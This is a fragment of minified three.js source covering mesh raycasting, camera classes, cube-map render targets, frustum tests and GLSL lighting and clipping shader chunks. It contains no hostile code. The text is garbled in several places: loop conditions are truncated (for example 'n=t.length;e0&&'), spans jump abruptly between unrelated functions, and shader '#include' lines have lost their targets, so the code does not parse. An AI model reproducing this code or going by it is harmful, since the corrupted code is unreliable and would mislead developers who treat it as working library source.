0!==t.morphTargetDictionary&&(this.morphTargetDictionary=Object.assign({},t.morphTargetDictionary)),this.material=t.material,this.geometry=t.geometry,this},updateMorphTargets:function(){const t=this.geometry;if(t.isBufferGeometry){const e=t.morphAttributes,n=Object.keys(e);if(n.length>0){const t=e[n[0]];if(void 0!==t){this.morphTargetInfluences=[],this.morphTargetDictionary={};for(let e=0,n=t.length;e0&&console.error("THREE.Mesh.updateMorphTargets() no longer supports THREE.Geometry. Use THREE.BufferGeometry instead.")}},raycast:function(t,e){const n=this.geometry,i=this.material,r=this.matrixWorld;if(void 0===i)return;if(null===n.boundingSphere&&n.computeBoundingSphere(),_n.copy(n.boundingSphere),_n.applyMatrix4(r),!1===t.ray.intersectsSphere(_n))return;if(yn.copy(r).invert(),xn.copy(t.ray).applyMatrix4(yn),null!==n.boundingBox&&!1===xn.intersectsBox(n.boundingBox))return;let s;if(n.isBufferGeometry){const r=n.index,a=n.attributes.position,o=n.morphAttributes.position,l=n.morphTargetsRelative,c=n.attributes.uv,h=n.attributes.uv2,u=n.groups,d=n.drawRange;if(null!==r)if(Array.isArray(i))for(let n=0,p=u.length;n0?1:-1,c.push(A.x,A.y,A.z),h.push(o/m),h.push(1-s/g),T+=1}}for(let t=0;t0&&(e.defines=this.defines),e.vertexShader=this.vertexShader,e.fragmentShader=this.fragmentShader;const n={};for(const t in this.extensions)!0===this.extensions[t]&&(n[t]=!0);return Object.keys(n).length>0&&(e.extensions=n),e},kn.prototype=Object.assign(Object.create(be.prototype),{constructor:kn,isCamera:!0,copy:function(t,e){return be.prototype.copy.call(this,t,e),this.matrixWorldInverse.copy(t.matrixWorldInverse),this.projectionMatrix.copy(t.projectionMatrix),this.projectionMatrixInverse.copy(t.projectionMatrixInverse),this},getWorldDirection:function(t){void 0===t&&(console.warn("THREE.Camera: .getWorldDirection() target is now required"),t=new xt),this.updateWorldMatrix(!0,!1);const e=this.matrixWorld.elements;return t.set(-e[8],-e[9],-e[10]).normalize()},updateMatrixWorld:function(t){be.prototype.updateMatrixWorld.call(this,t),this.matrixWorldInverse.copy(this.matrixWorld).invert()},updateWorldMatrix:function(t,e){be.prototype.updateWorldMatrix.call(this,t,e),this.matrixWorldInverse.copy(this.matrixWorld).invert()},clone:function(){return(new this.constructor).copy(this)}}),Vn.prototype=Object.assign(Object.create(kn.prototype),{constructor:Vn,isPerspectiveCamera:!0,copy:function(t,e){return kn.prototype.copy.call(this,t,e),this.fov=t.fov,this.zoom=t.zoom,this.near=t.near,this.far=t.far,this.focus=t.focus,this.aspect=t.aspect,this.view=null===t.view?null:Object.assign({},t.view),this.filmGauge=t.filmGauge,this.filmOffset=t.filmOffset,this},setFocalLength:function(t){const e=.5*this.getFilmHeight()/t;this.fov=2*ot.RAD2DEG*Math.atan(e),this.updateProjectionMatrix()},getFocalLength:function(){const t=Math.tan(.5*ot.DEG2RAD*this.fov);return.5*this.getFilmHeight()/t},getEffectiveFOV:function(){return 2*ot.RAD2DEG*Math.atan(Math.tan(.5*ot.DEG2RAD*this.fov)/this.zoom)},getFilmWidth:function(){return this.filmGauge*Math.min(this.aspect,1)},getFilmHeight:function(){return this.filmGauge/Math.max(this.aspect,1)},setViewOffset:function(t,e,n,i,r,s){this.aspect=t/e,null===this.view&&(this.view={enabled:!0,fullWidth:1,fullHeight:1,offsetX:0,offsetY:0,width:1,height:1}),this.view.enabled=!0,this.view.fullWidth=t,this.view.fullHeight=e,this.view.offsetX=n,this.view.offsetY=i,this.view.width=r,this.view.height=s,this.updateProjectionMatrix()},clearViewOffset:function(){null!==this.view&&(this.view.enabled=!1),this.updateProjectionMatrix()},updateProjectionMatrix:function(){const t=this.near;let e=t*Math.tan(.5*ot.DEG2RAD*this.fov)/this.zoom,n=2*e,i=this.aspect*n,r=-.5*i;const s=this.view;if(null!==this.view&&this.view.enabled){const t=s.fullWidth,a=s.fullHeight;r+=s.offsetX*i/t,e-=s.offsetY*n/a,i*=s.width/t,n*=s.height/a}const a=this.filmOffset;0!==a&&(r+=t*a/this.getFilmWidth()),this.projectionMatrix.makePerspective(r,r+i,e,e-n,t,this.far),this.projectionMatrixInverse.copy(this.projectionMatrix).invert()},toJSON:function(t){const e=be.prototype.toJSON.call(this,t);return e.object.fov=this.fov,e.object.zoom=this.zoom,e.object.near=this.near,e.object.far=this.far,e.object.focus=this.focus,e.object.aspect=this.aspect,null!==this.view&&(e.object.view=Object.assign({},this.view)),e.object.filmGauge=this.filmGauge,e.object.filmOffset=this.filmOffset,e}});const Wn=90;class jn extends be{constructor(t,e,n){if(super(),this.type="CubeCamera",!0!==n.isWebGLCubeRenderTarget)return void console.error("THREE.CubeCamera: The constructor now expects an instance of WebGLCubeRenderTarget as third parameter.");this.renderTarget=n;const i=new Vn(Wn,1,t,e);i.layers=this.layers,i.up.set(0,-1,0),i.lookAt(new xt(1,0,0)),this.add(i);const r=new Vn(Wn,1,t,e);r.layers=this.layers,r.up.set(0,-1,0),r.lookAt(new xt(-1,0,0)),this.add(r);const s=new Vn(Wn,1,t,e);s.layers=this.layers,s.up.set(0,0,1),s.lookAt(new xt(0,1,0)),this.add(s);const a=new Vn(Wn,1,t,e);a.layers=this.layers,a.up.set(0,0,-1),a.lookAt(new xt(0,-1,0)),this.add(a);const o=new Vn(Wn,1,t,e);o.layers=this.layers,o.up.set(0,-1,0),o.lookAt(new xt(0,0,1)),this.add(o);const l=new Vn(Wn,1,t,e);l.layers=this.layers,l.up.set(0,-1,0),l.lookAt(new xt(0,0,-1)),this.add(l)}update(t,e){null===this.parent&&this.updateMatrixWorld();const n=this.renderTarget,[i,r,s,a,o,l]=this.children,c=t.xr.enabled,h=t.getRenderTarget();t.xr.enabled=!1;const u=n.texture.generateMipmaps;n.texture.generateMipmaps=!1,t.setRenderTarget(n,0),t.render(e,i),t.setRenderTarget(n,1),t.render(e,r),t.setRenderTarget(n,2),t.render(e,s),t.setRenderTarget(n,3),t.render(e,a),t.setRenderTarget(n,4),t.render(e,o),n.texture.generateMipmaps=u,t.setRenderTarget(n,5),t.render(e,l),t.setRenderTarget(h),t.xr.enabled=c}}class qn extends pt{constructor(t,e,n,i,s,a,o,l,c,h){super(t=void 0!==t?t:[],e=void 0!==e?e:r,n,i,s,a,o=void 0!==o?o:T,l,c,h),this._needsFlipEnvMap=!0,this.flipY=!1}get images(){return this.image}set images(t){this.image=t}}qn.prototype.isCubeTexture=!0;class Xn extends gt{constructor(t,e,n){Number.isInteger(e)&&(console.warn("THREE.WebGLCubeRenderTarget: constructor signature is now WebGLCubeRenderTarget( size, options )"),e=n),super(t,t,e),e=e||{},this.texture=new qn(void 0,e.mapping,e.wrapS,e.wrapT,e.magFilter,e.minFilter,e.format,e.type,e.anisotropy,e.encoding),this.texture.generateMipmaps=void 0!==e.generateMipmaps&&e.generateMipmaps,this.texture.minFilter=void 0!==e.minFilter?e.minFilter:g,this.texture._needsFlipEnvMap=!1}fromEquirectangularTexture(t,e){this.texture.type=e.type,this.texture.format=E,this.texture.encoding=e.encoding,this.texture.generateMipmaps=e.generateMipmaps,this.texture.minFilter=e.minFilter,this.texture.magFilter=e.magFilter;const n={uniforms:{tEquirect:{value:null}},vertexShader:"\n\n\t\t\t\tvarying vec3 vWorldDirection;\n\n\t\t\t\tvec3 transformDirection( in vec3 dir, in mat4 matrix ) {\n\n\t\t\t\t\treturn normalize( ( matrix * vec4( dir, 0.0 ) ).xyz );\n\n\t\t\t\t}\n\n\t\t\t\tvoid main() {\n\n\t\t\t\t\tvWorldDirection = transformDirection( position, modelMatrix );\n\n\t\t\t\t\t#include \n\t\t\t\t\t#include \n\n\t\t\t\t}\n\t\t\t",fragmentShader:"\n\n\t\t\t\tuniform sampler2D tEquirect;\n\n\t\t\t\tvarying vec3 vWorldDirection;\n\n\t\t\t\t#include \n\n\t\t\t\tvoid main() {\n\n\t\t\t\t\tvec3 direction = normalize( vWorldDirection );\n\n\t\t\t\t\tvec2 sampleUV = equirectUv( direction );\n\n\t\t\t\t\tgl_FragColor = texture2D( tEquirect, sampleUV );\n\n\t\t\t\t}\n\t\t\t"},i=new zn(5,5,5),r=new Gn({name:"CubemapFromEquirect",uniforms:Fn(n.uniforms),vertexShader:n.vertexShader,fragmentShader:n.fragmentShader,side:1,blending:0});r.uniforms.tEquirect.value=e;const s=new Bn(i,r),a=e.minFilter;e.minFilter===y&&(e.minFilter=g);return new jn(1,10,this).update(t,s),e.minFilter=a,s.geometry.dispose(),s.material.dispose(),this}clear(t,e,n,i){const r=t.getRenderTarget();for(let r=0;r<6;r++)t.setRenderTarget(this,r),t.clear(e,n,i);t.setRenderTarget(r)}}Xn.prototype.isWebGLCubeRenderTarget=!0;class Yn extends pt{constructor(t,e,n,i,r,s,a,o,l,c,h,u){super(null,s,a,o,l,c,i,r,h,u),this.image={data:t||null,width:e||1,height:n||1},this.magFilter=void 0!==l?l:p,this.minFilter=void 0!==c?c:p,this.generateMipmaps=!1,this.flipY=!1,this.unpackAlignment=1,this.needsUpdate=!0}}Yn.prototype.isDataTexture=!0;const Zn=new Gt,Jn=new xt;class Qn{constructor(t=new Te,e=new Te,n=new Te,i=new Te,r=new Te,s=new Te){this.planes=[t,e,n,i,r,s]}set(t,e,n,i,r,s){const a=this.planes;return a[0].copy(t),a[1].copy(e),a[2].copy(n),a[3].copy(i),a[4].copy(r),a[5].copy(s),this}copy(t){const e=this.planes;for(let n=0;n<6;n++)e[n].copy(t.planes[n]);return this}setFromProjectionMatrix(t){const e=this.planes,n=t.elements,i=n[0],r=n[1],s=n[2],a=n[3],o=n[4],l=n[5],c=n[6],h=n[7],u=n[8],d=n[9],p=n[10],f=n[11],m=n[12],g=n[13],v=n[14],y=n[15];return e[0].setComponents(a-i,h-o,f-u,y-m).normalize(),e[1].setComponents(a+i,h+o,f+u,y+m).normalize(),e[2].setComponents(a+r,h+l,f+d,y+g).normalize(),e[3].setComponents(a-r,h-l,f-d,y-g).normalize(),e[4].setComponents(a-s,h-c,f-p,y-v).normalize(),e[5].setComponents(a+s,h+c,f+p,y+v).normalize(),this}intersectsObject(t){const e=t.geometry;return null===e.boundingSphere&&e.computeBoundingSphere(),Zn.copy(e.boundingSphere).applyMatrix4(t.matrixWorld),this.intersectsSphere(Zn)}intersectsSprite(t){return Zn.center.set(0,0,0),Zn.radius=.7071067811865476,Zn.applyMatrix4(t.matrixWorld),this.intersectsSphere(Zn)}intersectsSphere(t){const e=this.planes,n=t.center,i=-t.radius;for(let t=0;t<6;t++){if(e[t].distanceToPoint(n)0?t.max.x:t.min.x,Jn.y=i.normal.y>0?t.max.y:t.min.y,Jn.z=i.normal.z>0?t.max.z:t.min.z,i.distanceToPoint(Jn)<0)return!1}return!0}containsPoint(t){const e=this.planes;for(let n=0;n<6;n++)if(e[n].distanceToPoint(t)<0)return!1;return!0}clone(){return(new this.constructor).copy(this)}}function Kn(){let t=null,e=!1,n=null,i=null;function r(e,s){n(e,s),i=t.requestAnimationFrame(r)}return{start:function(){!0!==e&&null!==n&&(i=t.requestAnimationFrame(r),e=!0)},stop:function(){t.cancelAnimationFrame(i),e=!1},setAnimationLoop:function(t){n=t},setContext:function(e){t=e}}}function $n(t,e){const n=e.isWebGL2,i=new WeakMap;return{get:function(t){return t.isInterleavedBufferAttribute&&(t=t.data),i.get(t)},remove:function(e){e.isInterleavedBufferAttribute&&(e=e.data);const n=i.get(e);n&&(t.deleteBuffer(n.buffer),i.delete(e))},update:function(e,r){if(e.isGLBufferAttribute){const t=i.get(e);return void((!t||t.version 0.0 ) {\n\t\tdistanceFalloff *= pow2( saturate( 1.0 - pow4( lightDistance / cutoffDistance ) ) );\n\t}\n\treturn distanceFalloff;\n#else\n\tif( cutoffDistance > 0.0 && decayExponent > 0.0 ) {\n\t\treturn pow( saturate( -lightDistance / cutoffDistance + 1.0 ), decayExponent );\n\t}\n\treturn 1.0;\n#endif\n}\nvec3 BRDF_Diffuse_Lambert( const in vec3 diffuseColor ) {\n\treturn RECIPROCAL_PI * diffuseColor;\n}\nvec3 F_Schlick( const in vec3 specularColor, const in float dotLH ) {\n\tfloat fresnel = exp2( ( -5.55473 * dotLH - 6.98316 ) * dotLH );\n\treturn ( 1.0 - specularColor ) * fresnel + specularColor;\n}\nvec3 F_Schlick_RoughnessDependent( const in vec3 F0, const in float dotNV, const in float roughness ) {\n\tfloat fresnel = exp2( ( -5.55473 * dotNV - 6.98316 ) * dotNV );\n\tvec3 Fr = max( vec3( 1.0 - roughness ), F0 ) - F0;\n\treturn Fr * fresnel + F0;\n}\nfloat G_GGX_Smith( const in float alpha, const in float dotNL, const in float dotNV ) {\n\tfloat a2 = pow2( alpha );\n\tfloat gl = dotNL + sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNL ) );\n\tfloat gv = dotNV + sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNV ) );\n\treturn 1.0 / ( gl * gv );\n}\nfloat G_GGX_SmithCorrelated( const in float alpha, const in float dotNL, const in float dotNV ) {\n\tfloat a2 = pow2( alpha );\n\tfloat gv = dotNL * sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNV ) );\n\tfloat gl = dotNV * sqrt( a2 + ( 1.0 - a2 ) * pow2( dotNL ) );\n\treturn 0.5 / max( gv + gl, EPSILON );\n}\nfloat D_GGX( const in float alpha, const in float dotNH ) {\n\tfloat a2 = pow2( alpha );\n\tfloat denom = pow2( dotNH ) * ( a2 - 1.0 ) + 1.0;\n\treturn RECIPROCAL_PI * a2 / pow2( denom );\n}\nvec3 BRDF_Specular_GGX( const in IncidentLight incidentLight, const in vec3 viewDir, const in vec3 normal, const in vec3 specularColor, const in float roughness ) {\n\tfloat alpha = pow2( roughness );\n\tvec3 halfDir = normalize( incidentLight.direction + viewDir );\n\tfloat dotNL = saturate( dot( normal, incidentLight.direction ) );\n\tfloat dotNV = saturate( dot( normal, viewDir ) );\n\tfloat dotNH = saturate( dot( normal, halfDir ) );\n\tfloat dotLH = saturate( dot( incidentLight.direction, halfDir ) );\n\tvec3 F = F_Schlick( specularColor, dotLH );\n\tfloat G = G_GGX_SmithCorrelated( alpha, dotNL, dotNV );\n\tfloat D = D_GGX( alpha, dotNH );\n\treturn F * ( G * D );\n}\nvec2 LTC_Uv( const in vec3 N, const in vec3 V, const in float roughness ) {\n\tconst float LUT_SIZE = 64.0;\n\tconst float LUT_SCALE = ( LUT_SIZE - 1.0 ) / LUT_SIZE;\n\tconst float LUT_BIAS = 0.5 / LUT_SIZE;\n\tfloat dotNV = saturate( dot( N, V ) );\n\tvec2 uv = vec2( roughness, sqrt( 1.0 - dotNV ) );\n\tuv = uv * LUT_SCALE + LUT_BIAS;\n\treturn uv;\n}\nfloat LTC_ClippedSphereFormFactor( const in vec3 f ) {\n\tfloat l = length( f );\n\treturn max( ( l * l + f.z ) / ( l + 1.0 ), 0.0 );\n}\nvec3 LTC_EdgeVectorFormFactor( const in vec3 v1, const in vec3 v2 ) {\n\tfloat x = dot( v1, v2 );\n\tfloat y = abs( x );\n\tfloat a = 0.8543985 + ( 0.4965155 + 0.0145206 * y ) * y;\n\tfloat b = 3.4175940 + ( 4.1616724 + y ) * y;\n\tfloat v = a / b;\n\tfloat theta_sintheta = ( x > 0.0 ) ? v : 0.5 * inversesqrt( max( 1.0 - x * x, 1e-7 ) ) - v;\n\treturn cross( v1, v2 ) * theta_sintheta;\n}\nvec3 LTC_Evaluate( const in vec3 N, const in vec3 V, const in vec3 P, const in mat3 mInv, const in vec3 rectCoords[ 4 ] ) {\n\tvec3 v1 = rectCoords[ 1 ] - rectCoords[ 0 ];\n\tvec3 v2 = rectCoords[ 3 ] - rectCoords[ 0 ];\n\tvec3 lightNormal = cross( v1, v2 );\n\tif( dot( lightNormal, P - rectCoords[ 0 ] ) < 0.0 ) return vec3( 0.0 );\n\tvec3 T1, T2;\n\tT1 = normalize( V - N * dot( V, N ) );\n\tT2 = - cross( N, T1 );\n\tmat3 mat = mInv * transposeMat3( mat3( T1, T2, N ) );\n\tvec3 coords[ 4 ];\n\tcoords[ 0 ] = mat * ( rectCoords[ 0 ] - P );\n\tcoords[ 1 ] = mat * ( rectCoords[ 1 ] - P );\n\tcoords[ 2 ] = mat * ( rectCoords[ 2 ] - P );\n\tcoords[ 3 ] = mat * ( rectCoords[ 3 ] - P );\n\tcoords[ 0 ] = normalize( coords[ 0 ] );\n\tcoords[ 1 ] = normalize( coords[ 1 ] );\n\tcoords[ 2 ] = normalize( coords[ 2 ] );\n\tcoords[ 3 ] = normalize( coords[ 3 ] );\n\tvec3 vectorFormFactor = vec3( 0.0 );\n\tvectorFormFactor += LTC_EdgeVectorFormFactor( coords[ 0 ], coords[ 1 ] );\n\tvectorFormFactor += LTC_EdgeVectorFormFactor( coords[ 1 ], coords[ 2 ] );\n\tvectorFormFactor += LTC_EdgeVectorFormFactor( coords[ 2 ], coords[ 3 ] );\n\tvectorFormFactor += LTC_EdgeVectorFormFactor( coords[ 3 ], coords[ 0 ] );\n\tfloat result = LTC_ClippedSphereFormFactor( vectorFormFactor );\n\treturn vec3( result );\n}\nvec3 BRDF_Specular_GGX_Environment( const in vec3 viewDir, const in vec3 normal, const in vec3 specularColor, const in float roughness ) {\n\tfloat dotNV = saturate( dot( normal, viewDir ) );\n\tvec2 brdf = integrateSpecularBRDF( dotNV, roughness );\n\treturn specularColor * brdf.x + brdf.y;\n}\nvoid BRDF_Specular_Multiscattering_Environment( const in GeometricContext geometry, const in vec3 specularColor, const in float roughness, inout vec3 singleScatter, inout vec3 multiScatter ) {\n\tfloat dotNV = saturate( dot( geometry.normal, geometry.viewDir ) );\n\tvec3 F = F_Schlick_RoughnessDependent( specularColor, dotNV, roughness );\n\tvec2 brdf = integrateSpecularBRDF( dotNV, roughness );\n\tvec3 FssEss = F * brdf.x + brdf.y;\n\tfloat Ess = brdf.x + brdf.y;\n\tfloat Ems = 1.0 - Ess;\n\tvec3 Favg = specularColor + ( 1.0 - specularColor ) * 0.047619;\tvec3 Fms = FssEss * Favg / ( 1.0 - Ems * Favg );\n\tsingleScatter += FssEss;\n\tmultiScatter += Fms * Ems;\n}\nfloat G_BlinnPhong_Implicit( ) {\n\treturn 0.25;\n}\nfloat D_BlinnPhong( const in float shininess, const in float dotNH ) {\n\treturn RECIPROCAL_PI * ( shininess * 0.5 + 1.0 ) * pow( dotNH, shininess );\n}\nvec3 BRDF_Specular_BlinnPhong( const in IncidentLight incidentLight, const in GeometricContext geometry, const in vec3 specularColor, const in float shininess ) {\n\tvec3 halfDir = normalize( incidentLight.direction + geometry.viewDir );\n\tfloat dotNH = saturate( dot( geometry.normal, halfDir ) );\n\tfloat dotLH = saturate( dot( incidentLight.direction, halfDir ) );\n\tvec3 F = F_Schlick( specularColor, dotLH );\n\tfloat G = G_BlinnPhong_Implicit( );\n\tfloat D = D_BlinnPhong( shininess, dotNH );\n\treturn F * ( G * D );\n}\nfloat GGXRoughnessToBlinnExponent( const in float ggxRoughness ) {\n\treturn ( 2.0 / pow2( ggxRoughness + 0.0001 ) - 2.0 );\n}\nfloat BlinnExponentToGGXRoughness( const in float blinnExponent ) {\n\treturn sqrt( 2.0 / ( blinnExponent + 2.0 ) );\n}\n#if defined( USE_SHEEN )\nfloat D_Charlie(float roughness, float NoH) {\n\tfloat invAlpha = 1.0 / roughness;\n\tfloat cos2h = NoH * NoH;\n\tfloat sin2h = max(1.0 - cos2h, 0.0078125);\treturn (2.0 + invAlpha) * pow(sin2h, invAlpha * 0.5) / (2.0 * PI);\n}\nfloat V_Neubelt(float NoV, float NoL) {\n\treturn saturate(1.0 / (4.0 * (NoL + NoV - NoL * NoV)));\n}\nvec3 BRDF_Specular_Sheen( const in float roughness, const in vec3 L, const in GeometricContext geometry, vec3 specularColor ) {\n\tvec3 N = geometry.normal;\n\tvec3 V = geometry.viewDir;\n\tvec3 H = normalize( V + L );\n\tfloat dotNH = saturate( dot( N, H ) );\n\treturn specularColor * D_Charlie( roughness, dotNH ) * V_Neubelt( dot(N, V), dot(N, L) );\n}\n#endif",bumpmap_pars_fragment:"#ifdef USE_BUMPMAP\n\tuniform sampler2D bumpMap;\n\tuniform float bumpScale;\n\tvec2 dHdxy_fwd() {\n\t\tvec2 dSTdx = dFdx( vUv );\n\t\tvec2 dSTdy = dFdy( vUv );\n\t\tfloat Hll = bumpScale * texture2D( bumpMap, vUv ).x;\n\t\tfloat dBx = bumpScale * texture2D( bumpMap, vUv + dSTdx ).x - Hll;\n\t\tfloat dBy = bumpScale * texture2D( bumpMap, vUv + dSTdy ).x - Hll;\n\t\treturn vec2( dBx, dBy );\n\t}\n\tvec3 perturbNormalArb( vec3 surf_pos, vec3 surf_norm, vec2 dHdxy, float faceDirection ) {\n\t\tvec3 vSigmaX = vec3( dFdx( surf_pos.x ), dFdx( surf_pos.y ), dFdx( surf_pos.z ) );\n\t\tvec3 vSigmaY = vec3( dFdy( surf_pos.x ), dFdy( surf_pos.y ), dFdy( surf_pos.z ) );\n\t\tvec3 vN = surf_norm;\n\t\tvec3 R1 = cross( vSigmaY, vN );\n\t\tvec3 R2 = cross( vN, vSigmaX );\n\t\tfloat fDet = dot( vSigmaX, R1 ) * faceDirection;\n\t\tvec3 vGrad = sign( fDet ) * ( dHdxy.x * R1 + dHdxy.y * R2 );\n\t\treturn normalize( abs( fDet ) * surf_norm - vGrad );\n\t}\n#endif",clipping_planes_fragment:"#if NUM_CLIPPING_PLANES > 0\n\tvec4 plane;\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < UNION_CLIPPING_PLANES; i ++ ) {\n\t\tplane = clippingPlanes[ i ];\n\t\tif ( dot( vClipPosition, plane.xyz ) > plane.w ) discard;\n\t}\n\t#pragma unroll_loop_end\n\t#if UNION_CLIPPING_PLANES < NUM_CLIPPING_PLANES\n\t\tbool clipped = true;\n\t\t#pragma unroll_loop_start\n\t\tfor ( int i = UNION_CLIPPING_PLANES; i < NUM_CLIPPING_PLANES; i ++ ) {\n\t\t\tplane = clippingPlanes[ i ];\n\t\t\tclipped = ( dot( vClipPosition, plane.xyz ) > plane.w ) && clipped;\n\t\t}\n\t\t#pragma unroll_loop_end\n\t\tif ( clipped ) discard;\n\t#endif\n#endif",clipping_planes_pars_fragment:"#if NUM_CLIPPING_PLANES > 0\n\tvarying vec3 vClipPosition;\n\tuniform vec4 clippingPlanes[ NUM_CLIPPING_PLANES ];\n#endif",clipping_planes_pars_vertex:"#if NUM_CLIPPING_PLANES > 0\n\tvarying vec3 vClipPosition;\n#endif",clipping_planes_vertex:"#if NUM_CLIPPING_PLANES > 0\n\tvClipPosition = - mvPosition.xyz;\n#endif",color_fragment:"#if defined( USE_COLOR_ALPHA )\n\tdiffuseColor *= vColor;\n#elif defined( USE_COLOR )\n\tdiffuseColor.rgb *= vColor;\n#endif",color_pars_fragment:"#if defined( USE_COLOR_ALPHA )\n\tvarying vec4 vColor;\n#elif defined( USE_COLOR )\n\tvarying vec3 vColor;\n#endif",color_pars_vertex:"#if defined( USE_COLOR_ALPHA )\n\tvarying vec4 vColor;\n#elif defined( USE_COLOR ) || defined( USE_INSTANCING_COLOR )\n\tvarying vec3 vColor;\n#endif",color_vertex:"#if defined( USE_COLOR_ALPHA )\n\tvColor = vec4( 1.0 );\n#elif defined( USE_COLOR ) || defined( USE_INSTANCING_COLOR )\n\tvColor = vec3( 1.0 );\n#endif\n#ifdef USE_COLOR\n\tvColor *= color;\n#endif\n#ifdef USE_INSTANCING_COLOR\n\tvColor.xyz *= instanceColor.xyz;\n#endif",common:"#define PI 3.141592653589793\n#define PI2 6.283185307179586\n#define PI_HALF 1.5707963267948966\n#define RECIPROCAL_PI 0.3183098861837907\n#define RECIPROCAL_PI2 0.15915494309189535\n#define EPSILON 1e-6\n#ifndef saturate\n#define saturate(a) clamp( a, 0.0, 1.0 )\n#endif\n#define whiteComplement(a) ( 1.0 - saturate( a ) )\nfloat pow2( const in float x ) { return x*x; }\nfloat pow3( const in float x ) { return x*x*x; }\nfloat pow4( const in float x ) { float x2 = x*x; return x2*x2; }\nfloat average( const in vec3 color ) { return dot( color, vec3( 0.3333 ) ); }\nhighp float rand( const in vec2 uv ) {\n\tconst highp float a = 12.9898, b = 78.233, c = 43758.5453;\n\thighp float dt = dot( uv.xy, vec2( a,b ) ), sn = mod( dt, PI );\n\treturn fract(sin(sn) * c);\n}\n#ifdef HIGH_PRECISION\n\tfloat precisionSafeLength( vec3 v ) { return length( v ); }\n#else\n\tfloat max3( vec3 v ) { return max( max( v.x, v.y ), v.z ); }\n\tfloat precisionSafeLength( vec3 v ) {\n\t\tfloat maxComponent = max3( abs( v ) );\n\t\treturn length( v / maxComponent ) * maxComponent;\n\t}\n#endif\nstruct IncidentLight {\n\tvec3 color;\n\tvec3 direction;\n\tbool visible;\n};\nstruct ReflectedLight {\n\tvec3 directDiffuse;\n\tvec3 directSpecular;\n\tvec3 indirectDiffuse;\n\tvec3 indirectSpecular;\n};\nstruct GeometricContext {\n\tvec3 position;\n\tvec3 normal;\n\tvec3 viewDir;\n#ifdef CLEARCOAT\n\tvec3 clearcoatNormal;\n#endif\n};\nvec3 transformDirection( in vec3 dir, in mat4 matrix ) {\n\treturn normalize( ( matrix * vec4( dir, 0.0 ) ).xyz );\n}\nvec3 inverseTransformDirection( in vec3 dir, in mat4 matrix ) {\n\treturn normalize( ( vec4( dir, 0.0 ) * matrix ).xyz );\n}\nvec3 projectOnPlane(in vec3 point, in vec3 pointOnPlane, in vec3 planeNormal ) {\n\tfloat distance = dot( planeNormal, point - pointOnPlane );\n\treturn - distance * planeNormal + point;\n}\nfloat sideOfPlane( in vec3 point, in vec3 pointOnPlane, in vec3 planeNormal ) {\n\treturn sign( dot( point - pointOnPlane, planeNormal ) );\n}\nvec3 linePlaneIntersect( in vec3 pointOnLine, in vec3 lineDirection, in vec3 pointOnPlane, in vec3 planeNormal ) {\n\treturn lineDirection * ( dot( planeNormal, pointOnPlane - pointOnLine ) / dot( planeNormal, lineDirection ) ) + pointOnLine;\n}\nmat3 transposeMat3( const in mat3 m ) {\n\tmat3 tmp;\n\ttmp[ 0 ] = vec3( m[ 0 ].x, m[ 1 ].x, m[ 2 ].x );\n\ttmp[ 1 ] = vec3( m[ 0 ].y, m[ 1 ].y, m[ 2 ].y );\n\ttmp[ 2 ] = vec3( m[ 0 ].z, m[ 1 ].z, m[ 2 ].z );\n\treturn tmp;\n}\nfloat linearToRelativeLuminance( const in vec3 color ) {\n\tvec3 weights = vec3( 0.2126, 0.7152, 0.0722 );\n\treturn dot( weights, color.rgb );\n}\nbool isPerspectiveMatrix( mat4 m ) {\n\treturn m[ 2 ][ 3 ] == - 1.0;\n}\nvec2 equirectUv( in vec3 dir ) {\n\tfloat u = atan( dir.z, dir.x ) * RECIPROCAL_PI2 + 0.5;\n\tfloat v = asin( clamp( dir.y, - 1.0, 1.0 ) ) * RECIPROCAL_PI + 0.5;\n\treturn vec2( u, v );\n}",cube_uv_reflection_fragment:"#ifdef ENVMAP_TYPE_CUBE_UV\n\t#define cubeUV_maxMipLevel 8.0\n\t#define cubeUV_minMipLevel 4.0\n\t#define cubeUV_maxTileSize 256.0\n\t#define cubeUV_minTileSize 16.0\n\tfloat getFace( vec3 direction ) {\n\t\tvec3 absDirection = abs( direction );\n\t\tfloat face = - 1.0;\n\t\tif ( absDirection.x > absDirection.z ) {\n\t\t\tif ( absDirection.x > absDirection.y )\n\t\t\t\tface = direction.x > 0.0 ? 0.0 : 3.0;\n\t\t\telse\n\t\t\t\tface = direction.y > 0.0 ? 1.0 : 4.0;\n\t\t} else {\n\t\t\tif ( absDirection.z > absDirection.y )\n\t\t\t\tface = direction.z > 0.0 ? 2.0 : 5.0;\n\t\t\telse\n\t\t\t\tface = direction.y > 0.0 ? 1.0 : 4.0;\n\t\t}\n\t\treturn face;\n\t}\n\tvec2 getUV( vec3 direction, float face ) {\n\t\tvec2 uv;\n\t\tif ( face == 0.0 ) {\n\t\t\tuv = vec2( direction.z, direction.y ) / abs( direction.x );\n\t\t} else if ( face == 1.0 ) {\n\t\t\tuv = vec2( - direction.x, - direction.z ) / abs( direction.y );\n\t\t} else if ( face == 2.0 ) {\n\t\t\tuv = vec2( - direction.x, direction.y ) / abs( direction.z );\n\t\t} else if ( face == 3.0 ) {\n\t\t\tuv = vec2( - direction.z, direction.y ) / abs( direction.x );\n\t\t} else if ( face == 4.0 ) {\n\t\t\tuv = vec2( - direction.x, direction.z ) / abs( direction.y );\n\t\t} else {\n\t\t\tuv = vec2( direction.x, direction.y ) / abs( direction.z );\n\t\t}\n\t\treturn 0.5 * ( uv + 1.0 );\n\t}\n\tvec3 bilinearCubeUV( sampler2D envMap, vec3 direction, float mipInt ) {\n\t\tfloat face = getFace( direction );\n\t\tfloat filterInt = max( cubeUV_minMipLevel - mipInt, 0.0 );\n\t\tmipInt = max( mipInt, cubeUV_minMipLevel );\n\t\tfloat faceSize = exp2( mipInt );\n\t\tfloat texelSize = 1.0 / ( 3.0 * cubeUV_maxTileSize );\n\t\tvec2 uv = getUV( direction, face ) * ( faceSize - 1.0 );\n\t\tvec2 f = fract( uv );\n\t\tuv += 0.5 - f;\n\t\tif ( face > 2.0 ) {\n\t\t\tuv.y += faceSize;\n\t\t\tface -= 3.0;\n\t\t}\n\t\tuv.x += face * faceSize;\n\t\tif ( mipInt < cubeUV_maxMipLevel ) {\n\t\t\tuv.y += 2.0 * cubeUV_maxTileSize;\n\t\t}\n\t\tuv.y += filterInt * 2.0 * cubeUV_minTileSize;\n\t\tuv.x += 3.0 * max( 0.0, cubeUV_maxTileSize - 2.0 * faceSize );\n\t\tuv *= texelSize;\n\t\tvec3 tl = envMapTexelToLinear( texture2D( envMap, uv ) ).rgb;\n\t\tuv.x += 